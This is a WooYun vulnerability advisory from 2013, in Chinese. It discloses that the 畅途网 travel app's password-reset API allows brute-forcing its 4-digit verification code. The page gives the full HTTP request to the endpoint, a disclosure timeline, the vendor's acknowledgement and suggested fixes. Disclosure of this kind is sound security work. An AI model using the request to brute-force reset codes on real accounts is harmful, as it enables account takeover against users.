当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-044043

漏洞标题：畅途网任意用户密码重置

相关厂商：畅途网

漏洞作者： 带馅儿馒头

提交时间：2013-11-25 22:10

修复时间：2014-01-09 22:10

公开时间：2014-01-09 22:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-25： 细节已通知厂商并且等待厂商处理中
2013-11-25： 厂商已经确认，细节仅向厂商公开
2013-12-05： 细节向核心白帽子及相关领域专家公开
2013-12-15： 细节向普通白帽子公开
2013-12-25： 细节向实习白帽子公开
2014-01-09： 细节向公众公开

简要描述：

RT

详细说明：

问题依然在app端，系统接口未限制校验错误次数，但是接口对较多线程发的包无法处理，但是4位纯数字验证码我们使用使用1个线程进行暴力破解足以，接口如下：

POST /iphone/v0500/resetUserPwd.htm HTTP/1.1
Host: ios.update.trip8080.com
Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 122
Connection: close
User-Agent: 畅途汽车票 2.3.4 
verifyCode=5669&newPwd=200820E3227815ED1756A6B531E7E0D2&confirmPwd=200820E3227815ED1756A6B531E7E0D2&userMobile=13xxxxxxxxx


以verifyCode参数为爆破对象进行爆破，当验证码错误时；

1.png


当爆破到真实验证码时，即可成功修改用户密码；

2.png


漏洞证明：

见详细说明

修复方案：

限制校验错误次数；
增加验证码负责度

版权声明：转载请注明来源 带馅儿馒头@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-11-25 23:13

厂商回复：

收到收到：）谢谢

最新状态：

暂无